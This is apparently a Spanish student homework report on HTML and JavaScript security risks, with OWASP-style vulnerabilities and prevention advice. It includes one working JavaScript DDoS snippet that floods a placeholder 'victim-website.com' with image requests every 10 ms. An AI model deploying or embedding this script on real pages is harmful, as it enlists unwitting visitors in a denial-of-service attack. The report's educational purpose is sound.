UNIVERSIDAD AUTÓNOMA DE NUEVO LEÓN

Facultad de Ciencias Físico-Matemáticas

Diseño Orientado a Objetos

Riesgos y vulnerabilidades de HTML y JavaScrit

Erick Alejandro Campos Rivero

1506449

Tarea de la semana 3

Prof.: Miguel Ángel Salazar Santillán

HTML

¿Qué es JavaScript?

Es un lenguaje ligero e interpretado, orientado a objetos con funciones de primera clase, más conocido como el lenguaje de script para páginas web, pero también usado en muchos entornos sin navegador, tales como node.js o Apache CouchDB. Es un lenguaje script multi-paradigma, basado en prototipos, dinámico, soporta estilos de programación funcional, orientada a objetos e imperativa. Leer más sobre JavaScript.

Ventajas

- *Es un lenguaje muy sencillo.*
- *Es rápido, por lo tanto tiende a ejecutar las funciones inmediatamente.*
- *Cuenta con múltiples opciones de efectos visuales.*
- *Es soportado por los navegadores más populares y es compatible con los más modernos, incluyendo iPhone, móviles y PS3.*
- *Es muy versátil, puesto que es muy útil para desarrollar páginas dinámicas y aplicaciones web.*
- *Es una buena solución para poner en práctica la validación de datos en un formulario.*
- *Es multiplataforma, puede ser ejecutado de manera híbrida en cualquier sistema operativo móvil.*

Desventajas

- *Es el único lenguaje que permite trabajar modo FullStack en cualquier tipo de desarrollo de programación.*
- *Aunque este lenguaje contiene muchas ventajas, también se pueden mencionar algunas características de JavaScript que no son tan positivas, estas son:*
- *En el FrontEnd sus códigos son visibles, por lo tanto pueden ser leídos por cualquier usuario.*
- *Tiende a introducir gran cantidad de fragmentos de código en los sitios web.*
- *Sus opciones 3D son limitadas, si se quiere utilizar este lenguaje de programación para crear un juego, deben emplearse otras herramientas.*
- *No es compatible en todos los navegadores de manera uniforme.*
- *Los usuarios tienen la opción de desactivar JavaScript desde su navegador.*
- *Sus script son limitados por razones de seguridad y no es posible realizar todo con JavaScript, por lo tanto es necesario complementarlo con otros lenguajes evolucionados y más seguros. Esta es una de las características de JavaScript que algunos expertos lo contemplan como una ventaja y otros como una desventaja.*

Vulnerabilidades

Javascript es una pieza clave y fundamental en muchas técnicas de hacking, tiene cabida en técnicas de Phising, técnicas avanzadas en ataques de tipo Cross site Scripting XSS y multitud de técnicas.

El código JavaScript sirve para infectar sitios web porque es el lenguaje de programación que apuntala la red en la actualidad. Los cibercriminales se aprovechan de esta situación infectando sitios web legítimos y populares, visitados por un gran número de usuarios, para desviar a las víctimas a páginas web maliciosas sin su conocimiento. El código JavaScript inyectado sirve para ocultar el desvío de forma más efectiva que otros métodos de ataque más sencillos, como los ataques de iframe.

Los cibercriminales inyectan código en páginas web legítimas. El código inyectado puede ser un elemento HTML de iframe o una secuencia de comandos en línea. Cuando la víctima visita la página web comprometida, el código inyectado hace que el navegador descargue contenido malicioso de forma silenciosa desde otro sitio. El contenido cargado está compuesto de varios componentes diseñados para aprovechar las vulnerabilidades del lado cliente. Por ejemplo, puede ser una mezcla de contenido HTML, JavaScript, Flash, PDF y Java. Los criminales compran estos paquetes de exploits a los expertos que los crean con la intención de infectar a los usuarios con programas maliciosos.

Ataque DDoS basado en JavaScript

```
function imgflood() {
  var TARGET = 'victim-website.com'
  var URI = '/index.php?'
  var pic = new Image()
  var rand = Math.floor(Math.random() * 1000)
  pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)
```

Este script crea una etiqueta de imagen en la página 100 veces por segundo. Esta imagen apunta a "victim-website.com" con parámetros de consulta aleatorios. Cada visitante a un sitio que contiene este script se convierte en un participante involuntario en un ataque DDoS contra "victim-website.com". Los mensajes enviados por el navegador son peticiones HTTP válidas, haciendo de esta una capa 7 ataque.

HTML

Hoy en día prácticamente todos los navegadores más populares están ya implementando el uso de HTML, nos referimos a Internet Explorer, Firefox, Safari, Chrome y Opera. Como todo, tienen consigo vulnerabilidades de seguridad, bug o amenazas. HTML es un lenguaje de programación que se utiliza para el desarrollo de páginas de Internet. Se trata de la siglas que corresponden a HyperText Markup Language, es decir, Lenguaje de Marcas de Hipertexto

Ventajas y desventajas de HTML

VENTAJAS:

- Fácil de usar

- Permite la comunicación rápida y directa con varias personas que se encuentren en cualquier parte del mundo.

- Desarrollo de diferentes proyectos y propuestas para darlos a conocer a través de la red.

- Se puede contactar con diferentes personas para realizar negocios, trabajos, proyectos, etc.

DESVENTAJAS:

- Es muy básico

- No ofrece diversidad de opciones

- No es muy completo

Algunas vulnerabilidades

1- ***Inyección****:* Existen distintos tipos de inyecciones: SQL, LDAP, XPath, XSLT. HTML, XML. Ocurre cuando datos son proporcionados por el usuario y se envían y son interpretados como parte de una orden y consulta. Se interrumpe el intérprete para que se ejecuten comandos mal intencionado proporcionando datos modificados. Pueden crear, modificar o borrar información de una aplicación.

2- **XSS - *Cross-site scripting:*** Permite a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje similar. Es posible encontrar una vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus funciones presentar la información en un navegador web u otro contenedor de páginas web. Puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema.

Directa: este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>. **Indirecta**: este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP.

3- **Exposición de datos sensibles**: Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como números de tarjetas de crédito o credenciales de autenticación. Los atacantes pueden robar o modificar tales datos para llevar a cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de métodos de protección adicionales tales como el cifrado de datos, así como también de precauciones especiales en un intercambio de datos con el navegador.

4- **Pérdida de Autenticación y Gestión de Sesiones**: Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.

5- **Referencia Directa Insegura a Objetos**: Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de implementación interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de acceso u otra protección, los atacantes pueden manipular estas referencias para acceder datos no autorizados.

¿CÓMO SE PUEDEN PREVENIR?

***1 Inyección*:**

La opción preferida es usar una API segura la cual evite el uso de intérpretes por completo o provea una interface parametrizada. Ser cuidadoso con las APIs, como los procedimientos almacenados que son parametrizados, pero que aún pueden introducir inyecciones en el motor del intérprete. Si una API parametrizada no está disponible, se debe codificar cuidadosamente los caracteres especiales, usando la sintaxis de escape específica del intérprete.

2 XSS - Cross-site scripting:

Prevenir XSS requiere mantener los datos no confiables separados del contenido activo del navegador. La opción preferida es codificar los datos no confiables basados en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL) donde serán ubicados.

3 Exposición de datos sensibles

Considerar las amenazas de las cuáles protegerá los datos (ej.: atacante interno, usuario externo), asegúrese de cifrar los datos sensibles almacenados o en tráfico de manera de defenderse de estas amenazas. No almacenar datos sensibles innecesariamente y asegurarse de aplicar algoritmos de cifrado fuertes y estándar así como claves fuertes y gestionarlas de formas segura. Asegurarse que las claves se almacenan con un algoritmo especialmente diseñado para protegerlas. Deshabilitar el autocompletar en los formularios que recolectan datos sensibles, también el cacheado de páginas que contengan datos sensibles.

4 Pérdida de Autenticación y Gestión de Sesiones

Cumplir con todos los requisitos de autenticación y gestión de sesiones definidos en el Application Security Verification Standard (ASVS) de OWASP. Tener un interfaz simple para los desarrolladores. Se debe realizar un gran esfuerzo en evitar vulnerabilidades de XSS que podrían ser utilizadas para robar ID de sesión.

5 Referencia Directa Insegura a Objetos:

Utilizar referencias indirectas por usuario o sesión y comprobar el acceso.

Bibliografía

http://muyseguridad.net/2010/12/14/las-cinco-grandes-amenazas-seguridad-html5/
https://www.nextu.com/blog/conoce-las-ventajas-y-desventajas-de-javascript/
https://www.sophos.com/es-es/medialibrary/Gated%20Assets/white%20papers/sophoswhyhackersusemaliciousjavascriptwpna.pdf